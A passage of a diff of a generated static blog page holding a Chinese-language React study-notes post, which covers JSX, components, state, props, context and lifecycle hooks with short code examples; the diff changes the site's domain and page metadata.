stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>React学习笔记</h1><div class=post-meta><span title='2021-07-09 22:23:00 +0000 UTC'>2021-07-09</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/React%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>React是构造用户界面的JavaScript库，就是负责视图层的，只负责视图的渲染，其特点是声明式，组件化</p><p>安装react</p><p>npm i react react-dom</p><p>必需：react和react-dom</p><p>react包是提供创建元素，组件等功能，是核心（废话）</p><p>react-dom包提供DOM相关的功能</p><p>通常还需要导入babel来解析jsx（注意：在浏览器使用babel编译jsx效率很低，babel内嵌了对于jsx的支持），babel可以将es6语法转化为es5，方便运行在不支持es6的浏览器上</p><p>也可以通过引入src文件的方式引入cdn文件或者本地文件</p><p>第一个例子</p><pre><code>&lt;script type=&quot;text/babel&quot;&gt;
-     ReactDOM.render(
-          &lt;h1&gt;hallo,react!!!&lt;/h1&gt;,
-          document.getElementById(&quot;app&quot;)
-     );
-&lt;/script&gt;
-</code></pre><p>使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了</p><p>jsx是一种JavaScript语法扩展，例如：</p><pre><code>const hallo = &lt;h1&gt;hallo&lt;/h1&gt;;
-</code></pre><p>像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）</p><p>在jsx中插入JavaScript表达式，用大括号包含起来，例如：</p><pre><code>function hallo(yes){
-    return yes.name;
-}
-const yes = {
-   name: &quot;react&quot;
-};
-const hallo = &lt;h1&gt;hallo,{hallo(yes)}&lt;/h1&gt;;
-ReactDOM.render(
-    hallo,
-    document.getElementById(&quot;app&quot;)
-);
-</code></pre><p>当然react并没有强制要求必须使用jsx，例如：</p><pre><code>const hallo = React.createElement(&quot;h1&quot;,{class: &quot;main&quot;},React.createElement(&quot;p&quot;,null,&quot;hallo word!!!&quot;))
-/* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */
-ReactDOM.render(hallo,document.getElementById(&quot;app&quot;))
-/* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/
+模块化导入react"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"React学习笔记","item":"https://chenjunlinabc.github.io/posts/55/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"React学习笔记","name":"React学习笔记","description":"React是构造用户界面的JavaScript库，就是负责视图层的，只负责视图的渲染，其特点是声明式，组件化\n安装react\nnpm i react react-dom\n必需：react和react-dom\nreact包是提供创建元素，组件等功能，是核心（废话）\nreact-dom包提供DOM相关的功能\n通常还需要导入babel来解析jsx（注意：在浏览器使用babel编译jsx效率很低，babel内嵌了对于jsx的支持），babel可以将es6语法转化为es5，方便运行在不支持es6的浏览器上\n也可以通过引入src文件的方式引入cdn文件或者本地文件\n第一个例子\n\u0026lt;script type=\u0026quot;text/babel\u0026quot;\u0026gt; ReactDOM.render( \u0026lt;h1\u0026gt;hallo,react!!!\u0026lt;/h1\u0026gt;, document.getElementById(\u0026quot;app\u0026quot;) ); \u0026lt;/script\u0026gt; 使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了\njsx是一种JavaScript语法扩展，例如：\nconst hallo = \u0026lt;h1\u0026gt;hallo\u0026lt;/h1\u0026gt;; 像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）\n在jsx中插入JavaScript表达式，用大括号包含起来，例如：\nfunction hallo(yes){ return yes.name; } const yes = { name: \u0026quot;react\u0026quot; }; const hallo = \u0026lt;h1\u0026gt;hallo,{hallo(yes)}\u0026lt;/h1\u0026gt;; ReactDOM.render( hallo, document.getElementById(\u0026quot;app\u0026quot;) ); 当然react并没有强制要求必须使用jsx，例如：\nconst hallo = React.createElement(\u0026quot;h1\u0026quot;,{class: \u0026quot;main\u0026quot;},React.createElement(\u0026quot;p\u0026quot;,null,\u0026quot;hallo word!!!\u0026quot;)) /* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */ ReactDOM.render(hallo,document.getElementById(\u0026quot;app\u0026quot;)) /* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/ react脚手架\n初始化项目\nnpx create-react-app app\n启动项目（在项目根目录执行）\nnpm start或者yarn start\n模块化导入react","keywords":["React"],"articleBody":"React是构造用户界面的JavaScript库，就是负责视图层的，只负责视图的渲染，其特点是声明式，组件化\n安装react\nnpm i react react-dom\n必需：react和react-dom\nreact包是提供创建元素，组件等功能，是核心（废话）\nreact-dom包提供DOM相关的功能\n通常还需要导入babel来解析jsx（注意：在浏览器使用babel编译jsx效率很低，babel内嵌了对于jsx的支持），babel可以将es6语法转化为es5，方便运行在不支持es6的浏览器上\n也可以通过引入src文件的方式引入cdn文件或者本地文件\n第一个例子\n使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了\njsx是一种JavaScript语法扩展，例如：\nconst hallo = hallo; 像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）\n在jsx中插入JavaScript表达式，用大括号包含起来，例如：\nfunction hallo(yes){ return yes.name; } const yes = { name: \"react\" }; const hallo = hallo,{hallo(yes)}; ReactDOM.render( hallo, document.getElementById(\"app\") ); 当然react并没有强制要求必须使用jsx，例如：\nconst hallo = React.createElement(\"h1\",{class: \"main\"},React.createElement(\"p\",null,\"hallo word!!!\")) /* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */ ReactDOM.render(hallo,document.getElementById(\"app\")) /* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/ react脚手架\n初始化项目\nnpx create-react-app app\n启动项目（在项目根目录执行）\nnpm start或者yarn start\n模块化导入react\nimport React from “react” import ReactDOM from “react-dom”\nReact元素的属性名采用驼峰命名法\nclass就需要改为className，for要改为htmlFor等等，例如：\nconst app = (hallo) 如果一个元素中没有子节点可以直接写为\n推荐使用小括号包裹jsx，避免陷入自动插入分号陷阱\nJavaScript表达式可使用大括号{}来包裹，直接使用，例如：\nconst app = (hallo，{3 \u003c 8 ? \"react\" : \"word\"}) 任何数据类型和函数调用都可以（对象除外），表示式的特点就是有值就可以，jsx本身也是个JavaScript表达式\n因为if或者for之类的语句不能出现在大括号中\n条件渲染（根据条件进行渲染指定jsx结构）\nimport React from \"react\" import ReactDOM from \"react-dom\" const datamain = true; const hallo = () =\u003e { if(datamain){ return hallo word; } return 数据加载完成; } const app =( {hallo()} ) ReactDOM.render(app,document.getElementById(\"app\")) 当然也是支持三元表达式的，例如：\nconst Data = () =\u003e { return datamain ? (yes) : (no) } 列表渲染\nconst arrs = [ {id: 1,name: \"root\"}, {id: 2,name: \"admin\"}, {id:3,name: \"user\"} ] const lists = ( {arrs.map(item =\u003e {item.name})} ) ReactDOM.render(lists,document.getElementById(\"app\")) jsx样式\n行内样式style，类className，例如：\nconst app = (","wordCount":"1221","inLanguage":"en","datePublished":"2021-07-09T22:23:00Z","dateModified":"2021-07-09T22:23:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/55/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>React学习笔记</h1><div class=post-meta><span title='2021-07-09 22:23:00 +0000 UTC'>2021-07-09</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/React%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>React是构造用户界面的JavaScript库，就是负责视图层的，只负责视图的渲染，其特点是声明式，组件化</p><p>安装react</p><p>npm i react react-dom</p><p>必需：react和react-dom</p><p>react包是提供创建元素，组件等功能，是核心（废话）</p><p>react-dom包提供DOM相关的功能</p><p>通常还需要导入babel来解析jsx（注意：在浏览器使用babel编译jsx效率很低，babel内嵌了对于jsx的支持），babel可以将es6语法转化为es5，方便运行在不支持es6的浏览器上</p><p>也可以通过引入src文件的方式引入cdn文件或者本地文件</p><p>第一个例子</p><pre><code>&lt;script type=&quot;text/babel&quot;&gt;
+     ReactDOM.render(
+          &lt;h1&gt;hallo,react!!!&lt;/h1&gt;,
+          document.getElementById(&quot;app&quot;)
+     );
+&lt;/script&gt;
+</code></pre><p>使用babel解析jsx，react官方推荐使用jsx，因为使用jsx渲染dom简单明了</p><p>jsx是一种JavaScript语法扩展，例如：</p><pre><code>const hallo = &lt;h1&gt;hallo&lt;/h1&gt;;
+</code></pre><p>像上面这种就是jsx，jsx本身是一个表达式，经过编译（例如babel）后jsx表达式会转换成JavaScript对象（注意：jsx不是标准的ECMAScript语法，是语法的扩展，不进行编译处理，直接使用是会报错的）</p><p>在jsx中插入JavaScript表达式，用大括号包含起来，例如：</p><pre><code>function hallo(yes){
+    return yes.name;
+}
+const yes = {
+   name: &quot;react&quot;
+};
+const hallo = &lt;h1&gt;hallo,{hallo(yes)}&lt;/h1&gt;;
+ReactDOM.render(
+    hallo,
+    document.getElementById(&quot;app&quot;)
+);
+</code></pre><p>当然react并没有强制要求必须使用jsx，例如：</p><pre><code>const hallo = React.createElement(&quot;h1&quot;,{class: &quot;main&quot;},React.createElement(&quot;p&quot;,null,&quot;hallo word!!!&quot;))
+/* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */
+ReactDOM.render(hallo,document.getElementById(&quot;app&quot;))
+/* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/
 </code></pre><hr><p>react脚手架</p><p>初始化项目</p><p>npx create-react-app app</p><p>启动项目（在项目根目录执行）</p><p>npm start或者yarn start</p><p>模块化导入react</p><p>import React from &ldquo;react&rdquo;
-import ReactDOM from &ldquo;react-dom&rdquo;</p><hr><p>React元素的属性名采用驼峰命名法</p><p>class就需要改为className，for要改为htmlFor等等，例如：</p><pre><code>const app = (&lt;div className=&quot;app&quot;&gt;hallo&lt;/div&gt;)
-</code></pre><p>如果一个元素中没有子节点可以直接写为</p><p>推荐使用小括号包裹jsx，避免陷入自动插入分号陷阱</p><p>JavaScript表达式可使用大括号{}来包裹，直接使用，例如：</p><pre><code>const app = (&lt;div&gt;hallo，{3 &lt; 8 ? &quot;react&quot; : &quot;word&quot;}&lt;/div&gt;)
-</code></pre><p>任何数据类型和函数调用都可以（对象除外），表示式的特点就是有值就可以，jsx本身也是个JavaScript表达式</p><p>因为if或者for之类的语句不能出现在大括号中</p><p>条件渲染（根据条件进行渲染指定jsx结构）</p><pre><code>import React from &quot;react&quot;
-import ReactDOM from &quot;react-dom&quot;
-const datamain = true;
-const hallo = () =&gt; {
-    if(datamain){
-        return &lt;div&gt;hallo word&lt;/div&gt;;
-    }
-    return &lt;div&gt;数据加载完成&lt;/div&gt;;
-}
-const app =(
-    &lt;div&gt;
-        {hallo()}
-    &lt;/div&gt;
-)
-ReactDOM.render(app,document.getElementById(&quot;app&quot;))
-</code></pre><p>当然也是支持三元表达式的，例如：</p><pre><code>const Data = () =&gt; {
-    return datamain ? (&lt;div&gt;yes&lt;/div&gt;) : (&lt;div&gt;no&lt;/div&gt;)
-}
-</code></pre><p>列表渲染</p><pre><code>const arrs = [
-  {id: 1,name: &quot;root&quot;},
-  {id: 2,name: &quot;admin&quot;},
-  {id:3,name: &quot;user&quot;}
-]
-const lists = (
-  &lt;ul&gt;
-    {arrs.map(item =&gt; &lt;li key={item.id}&gt;{item.name}&lt;/li&gt;)}
-  &lt;/ul&gt;
-)
-ReactDOM.render(lists,document.getElementById(&quot;app&quot;))
-</code></pre><p>jsx样式</p><p>行内样式style，类className，例如：</p><pre><code>const app = (&lt;div style={{color: &quot;#ccc&quot;}}&gt;hallo&lt;/div&gt;)
-</code></pre><hr><p>react组件的概念和vue组件一样，拼装积木，重复性，独立性</p><p>函数创建组件</p><p>函数名开头必须大写（否则报错），函数组件必须要有返回值（否则报错），如果返回值为null，就不渲染任何内容，例如：</p><pre><code>function Hello(){
-  return(
-    &lt;div&gt;hallo,react&lt;/div&gt;
-  )
-}
-ReactDOM.render(&lt;Hello /&gt;,document.getElementById(&quot;app&quot;))
-</code></pre><p>或者</p><pre><code>const Hello = () =&gt; (&lt;div&gt;hallo,react&lt;/div&gt;)
-</code></pre><p>类创建组件</p><p>同样类名开头也要是大写，而且类组件要继承React.Component父类，使用父类中的方法和属性，而且还要提供render()方法，render()还要有返回值</p><pre><code>class Hello extends React.Component{
-  render(){
-    return (&lt;div&gt;hallo,react&lt;/div&gt;)
-  }
-}
-ReactDOM.render(&lt;Hello /&gt;,document.getElementById(&quot;app&quot;))
-</code></pre><p>如果组件很多，应该放到单独的js文件，独立化个体，导入react，导出组件（export），用到该组件就导入</p><hr><p>事件绑定</p><p>react事件采用了驼峰命名法，比如onClick，onMouseEnter，onFocus，例如：</p><pre><code>class Hello extends React.Component{
-  mainClick(){
-    console.log(&quot;被点击了&quot;)
-  }
-  render(){
-    return (&lt;div onClick={this.mainClick}&gt;hallo,react&lt;/div&gt;)
-  }
-}
-</code></pre><p>注意：如果是函数组件，就不需要加this，直接return (hallo,react)</p><p>事件对象</p><p>可以通过事件处理程序的参数来获取到事件对象，在react中事件对象又叫为合成事件，兼容所有浏览器，无需担心浏览器兼容问题</p><p>阻止浏览器的默认行为</p><pre><code>class Hello extends React.Component{
-  mainClick(e){
-    e.preventDefault();
-    console.log(&quot;被点击了&quot;)
-  }
-  render(){
-    return (&lt;a onClick={this.mainClick} href=&quot;https://xiaochenabc123.test.com&quot;&gt;hallo,react&lt;/a&gt;)
-  }
-}
-</code></pre><p>状态组件（状态即数据的更新）</p><p>函数组件为无状态组件，类组件为有状态组件</p><p>如果数据不需要变化就用函数组件，否则就类组件</p><p>状态（state）是组件内部的私有数据，只能在组件内部使用，state的值是一个对象，表示组件可以存在多个数据</p><p>第一种存储state方法</p><pre><code>  constructor(){
-    super()
-    this.state ={
-      count :0
-    }
-  }
-</code></pre><p>第二种存储state方法（推荐）</p><pre><code>  state = {
-    count: 0
-  }
-</code></pre><p>获取state值</p><pre><code>  render(){
-    return (&lt;div&gt;{this.state.count}&lt;/div&gt;)
-  }
-</code></pre><p>修改状态（状态可变）</p><p>this.setState({要修改的数据})</p><pre><code>  render(){
-    return (&lt;div onClick={()=&gt;{
-      this.setState({
-        count: this.state.count + 1
-      })
-      }}&gt;{this.state.count}&lt;/div&gt;)
-    }
-  }
-</code></pre><p>注意：不要直接修改state的值，setState的作用是先更新state，然后更新视图</p><p>state抽离出逻辑</p><p>注意：箭头函数自身并不绑定this，箭头函数中this取决于外部环境</p><pre><code>class Hello extends React.Component{
-  state = {
-    count: 0
-  }
-  mainClick(){
-    this.setState({
-      count: this.state.count + 1
-    })
-  }
-  render(){
-    return (
-        &lt;div&gt;
-          &lt;div onClick={()=&gt; this.mainClick()}&gt;+1&lt;/div&gt;
-          &lt;div&gt;{this.state.count}&lt;/div&gt;
-        &lt;/div&gt;
-      )
-    }
-  }
-ReactDOM.render(&lt;Hello /&gt;,document.getElementById(&quot;app&quot;))
-</code></pre><p>解决绑定事件的this指向问题</p><p>如果不想利用指向函数（也可以给事件函数定义为指向函数），也可以利用bind()方法，例如：</p><pre><code>this.mainClick = this.mainClick.bind(this)
-</code></pre><hr><p>受控组件（其值受到react所控制），例如：</p><pre><code>  state = {
-    txt: &quot;&quot;
-  }
-  &lt;div&gt;
-      &lt;input type=&quot;text&quot; value={this.state.txt}
-      onChange ={ e =&gt; this.setState({
-        txt: e.target.value
-      })}
-      /&gt;
-      &lt;div&gt;
-      {this.state.txt}
-      &lt;/div&gt;
-  &lt;/div&gt;
-</code></pre><p>input（text），textarea，select都是用value控制，而input（CheckBox）就用checked控制</p><p>需要根据表单元素来判断其使用不同的类型控制（可以使用三元表达式来指示）</p><p>如果是非受控组件，想获取属性值，通过使用React.createRef()创建ref对象，使用ref来获取，例如：</p><pre><code>  mainClick = () =&gt;{
-    console.log(this.Ref.current.value)
-  }
-  constructor(){
-    super()
-    this.Ref = React.createRef()
-  }
-  &lt;div&gt;
-      &lt;input type=&quot;text&quot; ref={this.Ref}/&gt;
-      &lt;div onClick={this.mainClick}&gt;
-          hallo
-      &lt;/div&gt;
-  &lt;/div&gt;
-</code></pre><hr><p>深入学习React组件</p><p>组件通讯（组件是独立并且封闭的，需要共享组件的数据，就需要组件通讯了）</p><p>接收传递给组件的数据需要通过props，函数组件通过props参数接收，类组件通过this.props接收，例如：</p><pre><code>const Hallo = props =&gt;{
-    console.log(props)
-    return (
-        &lt;div&gt;数据：{props.name}&lt;/div&gt;
-    )
-}
-ReactDOM.render(&lt;Hallo name=&quot;root&quot;/&gt;,document.getElementById(&quot;app&quot;))
-</code></pre><p>从上面返回的props中可以看出是一个对象，也就是说可以传递多个数据</p><pre><code>class Hi extends React.Component{
-  render(){
-    return(
-      &lt;div&gt;数据：{this.props.name}&lt;/div&gt;
-    )
-  }
-}
-ReactDOM.render(&lt;Hi name=&quot;root&quot; pass={123}/&gt;,document.getElementById(&quot;app&quot;))
-</code></pre><p>props可以传递任意类型的数据，props是只读的对象，只能读取属性的值，不能修改该对象，使用类组件，如果有构造函数，需要将其props传递给super()，通过props参数，否则无法在构造函数获取props（super(props)）</p><p>组件的通讯有三种，分别是父对子，子对父，兄弟</p><p>父组件传递数据给子组件：只需要在父组件中定义子组件的属性，例如：</p><pre><code>const Hallo = props =&gt;{
-  console.log(props)
-  return (
-    &lt;span&gt;{props.name}&lt;/span&gt;
-    
-  )
-}
-class Hi extends React.Component{
-  state = {
-    Name: &quot;root&quot;
-  }
-  render(){
-    console.log(this.props)
-    return(
-      &lt;div&gt;数据：
-        &lt;Hallo name={this.state.Name}/&gt;
-      &lt;/div&gt;
-    )
-  }
-}
-ReactDOM.render(&lt;Hi/&gt;,document.getElementById(&quot;app&quot;))
-</code></pre><p>子组件传递数据给父组件</p><p>通过回调函数，父组件提供回调，子组件调用，将数据通过回调函数的参数传递，例如：</p><pre><code>class Abc extends React.Component{
-  state = {name: &quot;root&quot;}
-  DataClick = () =&gt;{
-    this.props.getMsg(this.state.name)
-  }
-  render(){
-    return (
-      &lt;div onClick={this.DataClick}&gt;yes&lt;/div&gt;
-    )
-  }
-}
-class Hi extends React.Component{
-  state = {
-    Name: &quot;默认值&quot;
-  }
-  getDate = data =&gt;{
-    console.log(data)
-    this.setState({
-      Name: data
-    })
-  }
-  render(){
-    return(
-      &lt;div&gt;数据：{this.state.Name}
-        &lt;Abc getMsg = {this.getDate}/&gt;
-      &lt;/div&gt;
-    )
-  }
-}
-ReactDOM.render(&lt;Hi/&gt;,document.getElementById(&quot;app&quot;))
-</code></pre><hr><p>兄弟组件通讯</p><p>将共享状态提升到最近的公共父组件中，由公共父组件管理这个状态（状态提升）</p><p>公共父组件：提供共享状态，提供操作共享状态的方法</p><p>A组件修改共享状态，公共父组件收到新的状态，B组件通过props接收到新的状态，从而达到兄弟组件之间的通讯</p><p>例如：</p><pre><code>class Hallo extends React.Component{
-    state = {
-        count: 0
-    }
-    onMax = () =&gt;{
-        this.setState({
-            count: this.state.count +1
-        })
-    }
-    render(){
-        return (
-            &lt;div&gt;
-                &lt;Abc count={this.state.count}/&gt;
-                &lt;Xyz onMax = {this.onMax}/&gt;
-            &lt;/div&gt;
-        )
-    }
-}
-const Abc = (props) =&gt; {
-    return (
-        &lt;div&gt;
-            hallo,{props.count}
-        &lt;/div&gt;
-    )
-}
-const Xyz = (props) =&gt; {
-    return (
-        &lt;div onClick = {() =&gt; props.onMax()}&gt;
-            xyz
-        &lt;/div&gt;
-    )
-}
-ReactDOM.render(&lt;Hallo /&gt;,document.getElementById(&quot;root&quot;))
-</code></pre><hr><p>Context（跨组件传递数据）</p><p>Context实质上就是生产者-消费者模式</p><p>调用React.createContext()，创建provide（提供数据）和consumer（获取数据）这两个组件</p><p>const {Provide,Consumer} = React.createContext()</p><p>通过value属性提供数据，然后通过回调函数来获取到value的数据</p><p>例如：</p><pre><code>const {Provider,Consumer} = React.createContext()
-class Hallo extends React.Component{
-    state = {
-        count: 0
-    }
-    onMax = () =&gt;{
-        this.setState({
-            count: this.state.count +1
-        })
-    }
-    render(){
-        return (
-            &lt;div&gt;
-                &lt;Provider value = &quot;react&quot;&gt;
-                    &lt;Abc /&gt;
-                &lt;/Provider&gt;
-                
-            &lt;/div&gt;
-        )
-    }
-}
-
-const Abc = (props) =&gt; {
-    return (
-        &lt;div&gt;
-            &lt;Consumer&gt;
-                {
-                   data =&gt; &lt;div&gt;hallo,{data}&lt;/div&gt;
-                }
-            &lt;/Consumer&gt;
-        &lt;/div&gt;
-    )
-}
-</code></pre><hr><p>props深入学习</p><p>children属性：表示组件标签的子节点，当组件标签有子节点时，props就会拥有该属性</p><p>children属性值可以是任意值（文本，jsx，组件，函数等等）</p><p>children属性指向到当前子节点的数据，{props.children}，例如：</p><pre><code>const Button = () =&gt; (
-    &lt;button&gt;
-        我是一个button组件
-    &lt;/button&gt;
-)
-
-const Yes = (props) =&gt;{
-    return(
-        &lt;div&gt;
-            组件的子节点：{props.children}
-        &lt;/div&gt;
-    )
-}
-ReactDOM.render(&lt;Yes&gt;&lt;Button/&gt;&lt;/Yes&gt;,document.getElementById(&quot;app&quot;))
-</code></pre><hr><p>props校验（保证组件传入指定合法格式的数据）</p><p>安装prop-types</p><p>yarn add prop-types</p><p>导入prop-types包并且建立个props校验实例</p><pre><code>import propTypes from &quot;prop-types&quot;
-class Noabc extends React.Component{
-    render(){
-        return(
-            &lt;div&gt;hallo,{this.props.name}&lt;/div&gt;
-        )
-    }
-}
-Noabc.propTypes = {
-    name: propTypes.string
-}
-
-ReactDOM.render(&lt;Noabc name=&quot;react&quot;/&gt;,document.getElementById(&quot;app&quot;))
-</code></pre><p>当传入的值的类型不对，将抛出错误</p><hr><p>props默认值</p><p>给props设置默认值，在未传入props时生效</p><pre><code>class Defaultabc extends React.Component{
-    render(){
-        return(
-            &lt;div&gt;props的默认值：{this.props.Defaultdata}&lt;/div&gt;
-        )
-    }
-}
-Defaultabc.defaultProps = {
-    Defaultdata: 999
-}
-ReactDOM.render(&lt;Defaultabc/&gt;,document.getElementById(&quot;app&quot;))
-</code></pre><hr><p>单向数据流：指的是当前组件的state以props的形式流动时，只能流向组件树中比自己层级低的组件，不能向上流，也就是说可父传子，祖先传后辈，但是不能子传父</p><p>父传子通信，基于数据流单向的特性，父组件可以直接将this.props传入子组件中</p><p>子传父通信，因为数据流单向的特性，不能直接将数据传递给父组件，而是通过父组件传递子组件一个携带了上下文的函数，子组件得到这个函数后，传递给父组件的数据将以函数参数的形式发送回去</p><p>兄弟通信，利用父传子通信的特性，可以在两个兄弟组件之上创建一个父组件，来当中间件，实质上还是父传子通信</p><p>消息订阅与发布机制是组件通信的万金油，这边使用的是PubSubjs</p><p>安装</p><p>npm i pubsub-js</p><p>引入</p><p>import PubSub from &lsquo;pubsub-js&rsquo;</p><p>只需要在父组件（祖先组件）中发布，然后在子组件（后辈组件）中订阅，就可以实现了</p><p>发布</p><p>PubSub.publish(&rsquo;test&rsquo;,&lsquo;hallo word&rsquo;)</p><p>发布信息实质是就是发送数据</p><p>订阅</p><p>const DataMain = PubSub.subscribe(&rsquo;test&rsquo;,data)</p><p>其中data就是&rsquo;hallo word&rsquo;的数据，订阅是获取发布的数据</p><p>取消订阅</p><p>PubSub.unsubscribe(DataMain)</p><hr><p>组件的生命周期</p><p>组件的生命周期有利于掌握组件的运行方式，实现更复杂的组件功能，分析组件错误原因</p><p>生命周期：被创建，到挂载页面，卸载组件的过程</p><p>生命周期的每个阶段都可以伴随一些方法来调用，而这些方法就是生命周期的钩子函数（和vue的生命周期概念是一样的）</p><p>注意：只有类组件才有生命周期，函数组件没有</p><p>创建时：当组件被创建时（页面加载时），constructor() -> render() -> componentDidMount()</p><p>例如：</p><pre><code>class Defaultabc extends React.Component{
-    constructor(props){
-        super(props)
-        console.log(&quot;constructor钩子被触发&quot;)
-    }
-    componentDidMount(){
-        console.log(&quot;componentDidMount钩子被触发&quot;)
-    }
-    render(){
-        console.log(&quot;render钩子被触发&quot;)
-        return(
-            &lt;div&gt;hallo react&lt;/div&gt;
-        )
-    }
-}
-</code></pre><p>constructor钩子在创建组件时触发，初始化state，为事件程序绑定this</p><p>render钩子在组件渲染时触发，渲染视图，注意：不要在render下使用setState方法</p><p>componentDidMount钩子在组件被挂载后触发（完成DOM渲染），发送网络请求，DOM操作</p><p>更新时：</p><p>当一个组件接收到新属性（new props）时，使用setState()，强制更新forceUpdate()都会触发重新渲染</p><p>例如：</p><pre><code>class Maxabc extends React.Component{
-    constructor(props){
-        super(props)
-        this.state = {
-            count: 0
-        }
-    }
-    goClick = () =&gt;{
-        this.setState({
-            count: this.state.count + 1
-        })
-    }
-    componentDidUpdate(){
-        console.log(&quot;componentDidUpdate钩子触发&quot;)
-    }
-    render(){
-        console.log(&quot;reder钩子被触发&quot;)
-        return(
-            &lt;div&gt;
-                &lt;div&gt;hallo,{this.state.count}&lt;/div&gt;
-                &lt;button onClick={this.goClick}&gt;go&lt;/button&gt;
-            &lt;/div&gt;
-        )
-    }
-}
-ReactDOM.render(&lt;Maxabc/&gt;,document.getElementById(&quot;app&quot;))
